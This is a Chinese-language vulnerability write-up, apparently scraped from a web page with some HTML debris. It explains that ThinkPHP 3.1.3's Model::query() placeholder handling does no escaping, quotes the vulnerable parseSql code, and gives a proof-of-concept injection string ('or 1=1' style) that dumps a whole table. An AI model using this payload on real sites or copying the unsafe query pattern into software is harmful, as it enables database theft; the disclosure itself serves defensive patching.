ThinkPHP网址上曾有一段公告指出,在ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.html' target='_blank'>class.php 文件 根据官方文档对"防止SQL注入"的方法解释(参考http://doc.thinkVeVb.com/manual/sql_injection.html) 使用查询条件预处理可以防止SQL注入,没错,当使用如下代码时可以起到效果:$Model- where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))- select();或者$Model- where("id=%d and username='%s' and xx='%f'",$id,$username,$xx)- select();但是,当你使用如下代码时,却没有"防止SQL注入"的效果(但是官方文档却说可以防止SQL注入): $model- query('select * from user where id=%d and status=%s',$id,$status);或者$model- query('select * from user where id=%d and status=%s',array($id,$status));原因分析:ThinkPHP/Lib/Core/Model.class.php 文件里的parseSql函数没有实现SQL过滤. 其原函数为:protected function parseSql($sql,$parse) {// 分析表达式if(true === $parse) { $options = $this- _parseOptions(); $sql = $this- db- parseSql($sql,$options);}elseif(is_array($parse)){ // SQL预处理 $sql = vsprintf($sql,$parse);}else{ $sql = strtr($sql,array('__TABLE__'= $this- getTableName(),'__PREFIX__'= C('DB_PREFIX')));$this- db- setModel($this- name);return $sql;验证漏洞(举例): 请求地址: http://localhost/Main id=boo" or 1="1或 http://localhost/Main id=boo%22%20or%201=%221action代码:$model=M('Peipeidui');$m=$model- query('select * from peipeidui where name="%s"',$_GET['id']);dump($m);exit;或者: $model=M('Peipeidui');$m=$model- query('select * from peipeidui where name="%s"',array($_GET['id']));dump($m);exit;结果: 表peipeidui所有数据被列出,SQL注入语句起效.